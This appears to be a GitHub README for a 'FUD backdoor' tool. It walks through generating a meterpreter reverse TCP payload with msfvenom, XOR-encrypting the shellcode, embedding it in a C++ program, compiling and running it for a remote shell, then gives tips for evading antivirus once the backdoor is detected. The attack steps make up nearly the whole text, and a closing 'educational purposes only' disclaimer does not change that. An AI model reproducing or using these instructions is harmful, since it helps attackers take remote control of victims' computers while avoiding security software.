Generate FUD backdoor with a Python Crypter
Follow the steps bellow to generate a crypted shellcode that can be used on a C++ executable.
Clone the repository
sudo git clone https://github.com/3ct0s/fud-backdoor.git cd fud-backdoor
Generate The ShellCode
msfvenom -p windows/x64/meterpreter_reverse_tcp -e x86/shikata_ga_nai -i 10 LHOST=(IP) LPORT=(PORT) -f raw -o raw.txt
Encode the ShellCode With the XOR Encryption
python xor_encryptor.py raw.txt > xor_shellcode.txt
Add the crypted shellcode on main.cpp
Now that you have the encrypted shellcode you need to add it on the main.cpp file just like this:
char b = /*xor_shellcode*/
Compile the main.cpp file
There is no specific way to do this, all you need to do is compile the C++ code into a windows executable. Here are ways to do that. https://cutt.ly/BBOXP797
Execute the backdoor
Now you can execute the backdoor and enjoy the metepreter shell
What if it gets detected?
At some point, the anti viruses will be able to detect this backdoor. Here are some things you can do to make it undetectable again.
You can try to change the payload type protocol and make it http or https and make sure to use another port, add gibberish C++ code on the main.cpp file and you can also try playing with the SSL certificate of the session. Here is an article that covers this: https://www.darkoperator.com/blog/2015/6/14/tip-meterpreter-ssl-certificate-validation
If this still doesn't work, I can't think of another way to make the connection undetectable since this is a meterpreter shell and they get detected quite easily
I am not responsible for any of your actions. This GitHub repository is made for educational purposes only!!!